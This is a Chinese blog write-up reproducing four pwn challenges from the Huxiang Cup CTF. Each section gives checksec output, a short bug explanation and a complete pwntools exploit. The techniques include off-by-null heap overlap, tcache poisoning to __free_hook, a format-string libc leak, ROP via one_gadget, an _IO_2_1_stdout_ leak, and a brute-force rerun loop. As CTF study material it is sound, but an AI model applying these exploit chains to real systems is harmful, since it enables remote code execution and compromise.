0%

湖湘杯

5fa8bafcc3578.jpg

复现一下比赛的题,太菜了自己。

babyheap

checksec检查:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '/lib/x86_64-linux-gnu/'

利用:

程序在edit函数中存在off by null 漏洞,我们首先通过free chunk 到unsorted bin 中然后利用残留的libc地址,来泄露libc。接着通过将chunk free到unsorted bin 会残留prev_size,通过off by null 和残留的prev_size来照成堆重叠,接着在利用tcache double free来getshell。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#! /usr/bin/env python

from pwn import *

sh=process('./main')
elf=ELF('./main')
libc=ELF('./libc.so.6')
context.log_level='debug'

def add():
sh.recvuntil('>>')
sh.sendline('1')

def show(index):
sh.recvuntil('>>')
sh.sendline('2')
sh.recvuntil('?\n')
sh.sendline(str(index))

def edit(index,size,content):
sh.recvuntil('>>')
sh.sendline('3')
sh.recvuntil('?\n')
sh.sendline(str(index))
sh.recvuntil('Size:\n')
sh.sendline(str(size))
sh.recvuntil('Content:\n')
sh.send(content)

def free(index):
sh.recvuntil('>>')
sh.sendline('4')
sh.recvuntil('?\n')
sh.sendline(str(index))

for i in range(7):
add()
add() #7
add() #8
add() #9
for i in range(7):
free(i)
free(7)
free(8)
for i in range(7):
add()
add() #7
show(7)
main_arena=u64(sh.recv(6).ljust(8,'\x00'))-592
sh.success('main_arena : ' +hex(main_arena))
libc_base=main_arena-0x3ebc40
sh.success('libc_base : ' +hex(libc_base))
free_hook=libc_base + libc.symbols['__free_hook']
sh.success('free_hook : ' +hex(free_hook))
system_addr=libc_base+libc.symbols['system']

add() #8
add() #10
add() #11
add() #12
add() #13
for i in range(7):
free(i)
free(9)
free(10)
free(11)
for i in range(7):
add()
add() #9
add() #10
add() #11 prev_size=0x200

for i in range(7):
free(i)
free(9) #|
edit(10,0xf8,'L0ne1y') #| ==> free chunk: chunk9+chunk10+chunk11=0x300
free(11) #|
for i in range(7):
add()
add() #9
add() #11=>10
add() #14

free(10)
edit(11,0xf0,p64(free_hook))
add() #10
add() #15
edit(15,0xf0,p64(system_addr))
edit(9,0xf0,'/bin/sh\x00')
free(9)

#gdb.attach(sh)
sh.interactive()

blend_pwn

checksec检查:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '/home/Glibc/libs/2.23/'

利用:

程序存在格式化字符串漏洞,栈溢出漏洞,UAF漏洞。发现main函数中存在try catch的捕捉异常的结构,当抛出异常的时候就能直接被main函数捕捉到之后就会进入catch,这个时候rbp就会变成main函数的ebp,异常处理结束之后直接leave,ret了,并没有检查canary的值。先用格式化字符串泄漏libc,再利用uaf leak heap_base,然后就是在heap地址上的fd+0x10后面填one_gadget,不然会因为 那个异常那边有个字符串地址写进去,又由于处理的时候会做malloc_consolodate而报错。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#! /usr/bin/env python

from pwn import *

sh=process('./blend')
elf=ELF('./blend')
context.log_level='debug'
libc=ELF('libc.so.6')

def show_name():
sh.recvuntil('>')
#gdb.attach(sh,'b *0x55555555517c')
#raw_input()
sh.sendline('1')
sh.recvuntil('Current user:')
libc_start_main=int(sh.recv(14),16)-240
sh.success('libc_start_main : ' +hex(libc_start_main))
return libc_start_main

def add(content):
sh.recvuntil('>')
sh.sendline('2')
sh.recvuntil('input note:\n')
sh.sendline(content)

def free(index):
sh.recvuntil('>')
sh.sendline('3')
sh.recvuntil('index>')
sh.sendline(str(index))

def show():
sh.recvuntil('>')
sh.sendline('4')

def gift(content):
sh.recvuntil('>')
sh.sendline('666')
sh.recvuntil(':')
sh.send(content)

sh.recvuntil(': ')
sh.sendline('%11$p')
libc_start_main=show_name()
libc_base=libc_start_main-libc.symbols['__libc_start_main']
sh.success('libc_base : ' +hex(libc_base))
one_gadget=libc_base+0x4527a

add(p64(0)*3+p64(one_gadget)) #0
add('BBBB') #1
free(0)
free(1)
show()
sh.recvuntil('index 2:')
chunk_addr=u64(sh.recv(6).ljust(8,'\x00'))
sh.success('chunk_addr : ' +hex(chunk_addr))
gift('a'*0x20+p64(chunk_addr+0x20))

gdb.attach(sh)

sh.interactive()

pwn_Printf

checksec检查:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fd000)
RUNPATH: '/home/Glibc/libs/2.23/'

利用:

不明白为什么输入0X20就会栈溢出,太菜了,听说是Google CTF的sprintf,改天学习一下

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#! /usr/bin/env python

from pwn import *

sh=process('./main')
elf=ELF('./main')
libc=ELF('./libc.so.6')
context.log_level='debug'

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi_ret=0x0000000000401213

sh.recvuntil('You will find this game very interesting\n')
for i in range(16):
sh.sendline(str(0x20))

payload='a'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(pop_rdi_ret)+p64(0x20)+p64(0x04007C6)

sh.send(payload)

puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
libc_base = puts_addr-libc.symbols['puts']
one_gadget=libc_base+0x4527a
sh.success('libc_base : ' +hex(libc_base))

payload='a'*8+p64(one_gadget)

sh.send(payload)
sh.interactive()

only_add

checksec检查:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: '/home/Glibc/libs/2.27/'

利用:

首先先填充tcache bin

1
2
3
4
5
6
7
8
9
10
for i in range(6):
add(0x4f0,'AAAA')
add(0x80,'AAAA')
free()
add(0x4f0,'AAAA') 这里的0xa8是为了后面的overlap chunk 做准备
add(0xa8,'AAAA')
free()
add(0x4f0,'AAAA')
add(0x80,'AAAA')
free()

这里是也是为了后面方便overlap chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
add(0x4f0,'AAAA')
add(0x28,'AAAA')
free()

add(0x4f0,'AAAA')
add(0x28,'AAAA')
free()

add(0x4f0,'AAAA')
add(0x48,'AAAA')
free()

add(0x4f0,'AAAA')
add(0x28,'AAAA')
free()

生成unsorted bin,为后续利用IO_file来泄露libc做准备

1
2
3
4
#free usorted bin chunk
add(0x3c0,'AAAA')
add(0x80,'AAAA')
free()

0xb0的chunk的下一个chunk就是我们要修改的chunk,这里我们修改其为0xf0大小,刚好会与后俩个0x30大小的chunk重叠,然后修改后的0xf0大小的chunk从0x90大小的chunk申请回来,再释放,这样就会进入0xf0大小的chunk里

1
2
3
4
5
#off by one ==> 0x90+0x30+0x30=0xf0
add(0xa8,'a'*0xa8+'\xf1')
free()
add(0x88,'AAAA')
free()

这里我们再将之前在tcache bin 中的chunk的指针指向unsorted bin 中的chunk

1
2
add(0xe8,'a'*0x98+p64(0x21)+'a'*0x18+p64(0x21)+'\xe0')
free()

这里将0x50 chunk后面的0x30chunk的size修改为0xc1,使其和unsorted bin中的chunk形成堆重叠,然后将其free掉

1
2
add(0x48,'a'*0x48+'\xc1')
free()

然后再次申请回来后,修改unsorted bin 中chunk的fd后四个字节为_IO_2_1_stdout_,这里倒数第四位需要爆破,1/16的机会。

1
2
3
stdout=0xa760
add(0xb8,'a'*0x28+p64(0x91)+p16(stdout))
free()

申请chunk拿到_IO_2_1_stdout_,之前我们将原来0x30大小的chunk修改为0x20,就是为了这里。然后我们就可以拿到libc_base。

1
2
3
4
5
6
7
8
9
10
add(0x28,'AAAA')
free()
add(0x28,p16(stdout))
free()
add(0x28,p64(0xfbad1800)+p64(0)*3+'\x00')
sh.recv(0x18)
_IO_2_1_stdout_=u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))+0xfe0
sh.success('_IO_2_1_stdout_ : ' +hex(_IO_2_1_stdout_))
libc_base=_IO_2_1_stdout_-libc.symbols['_IO_2_1_stdout_']
sh.success('libc_base : ' +hex(libc_base))

最后一步先调用close函数清掉buf缓冲区(因为IO那个fake chunk不满足free的要求

1
2
close_stdout()
sh.recvuntil("Bye")

利用重叠的chunk来打__free_hook,最后重定位一下即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
one_gadget=libc_base+0x4f3c2
sh.success('free_hook : ' +hex(free_hook))
sh.success('system_addr : ' +hex(system_addr))

add_without(0x38,'BBBB')
free_without()
payload = p64(0) * 5 + p64(0x51) + p64(free_hook-0x18)
add_without(0xb0,payload)
free_without()
add_without(0x38,'AAAA')
free_without()
add_without(0x38,'/bin/sh 1>&2'.ljust(0x18,'\x00')+p64(system_addr))
free_without()

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#! /usr/bin/env python

from pwn import *

sh=process('./main')
elf=ELF('./main')
context.log_level='debug'
libc=ELF('./libc.so.6')

def add(size,content):
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':\n')
sh.sendline(str(size))
sh.recvuntil(':\n')
sh.send(content)

def free():
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':\n')
sh.sendline(str(0))

def close_stdout():
sh.recvuntil(':')
sh.sendline('2')

def add_without(size, content):
sh.sendline("1")
sleep(0.1)
sh.sendline(str(size))
sleep(0.1)
sh.send(content)
sleep(0.1)

def free_without():
sh.sendline("1")
sleep(0.1)
sh.sendline(str(0))
sleep(0.1)

for i in range(6):
add(0x4f0,'AAAA')
add(0x80,'AAAA')
free()
add(0x4f0,'AAAA')
add(0xa8,'AAAA')
free()
add(0x4f0,'AAAA')
add(0x80,'AAAA')
free()

add(0x4f0,'AAAA')
add(0x28,'AAAA')
free()

add(0x4f0,'AAAA')
add(0x28,'AAAA')
free()

add(0x4f0,'AAAA')
add(0x48,'AAAA')
free()

add(0x4f0,'AAAA')
add(0x28,'AAAA')
free()
#free usorted bin chunk
add(0x3c0,'AAAA')
add(0x80,'AAAA')
free()
#off by one ==> 0x90+0x30+0x30=0xf0
add(0xa8,'a'*0xa8+'\xf1')
free()
add(0x88,'AAAA')
free()

add(0xe8,'a'*0x98+p64(0x21)+'a'*0x18+p64(0x21)+'\xe0')
free()

add(0x48,'a'*0x48+'\xc1')
free()
add(0x28,'AAAA')
free()
stdout=0xa760
add(0xb8,'a'*0x28+p64(0x91)+p16(stdout))
free()

add(0x28,'AAAA')
free()
add(0x28,p16(stdout))
free()
add(0x28,p64(0xfbad1800)+p64(0)*3+'\x00')
sh.recv(0x18)
_IO_2_1_stdout_=u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))+0xfe0
sh.success('_IO_2_1_stdout_ : ' +hex(_IO_2_1_stdout_))
libc_base=_IO_2_1_stdout_-libc.symbols['_IO_2_1_stdout_']
sh.success('libc_base : ' +hex(libc_base))

close_stdout()
sh.recvuntil("Bye")

free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
one_gadget=libc_base+0x4f3c2
sh.success('free_hook : ' +hex(free_hook))
sh.success('system_addr : ' +hex(system_addr))

add_without(0x38,'BBBB')
free_without()
payload = p64(0) * 5 + p64(0x51) + p64(free_hook-0x18)
add_without(0xb0,payload)
free_without()
add_without(0x38,'AAAA')
free_without()
add_without(0x38,'/bin/sh 1>&2'.ljust(0x18,'\x00')+p64(system_addr))
free_without()

#gdb.attach(sh)

sh.interactive()

爆破脚本:

1
2
#!/bin/bash
for i in `seq 1 5000`; do python exp.py; done;

参考链接:

https://www.cnblogs.com/lemon629/p/13942291.html

https://www.lyyl.online/2020/11/02/2020-%E6%B9%96%E6%B9%98%E6%9D%AF-PWN-WriteUp/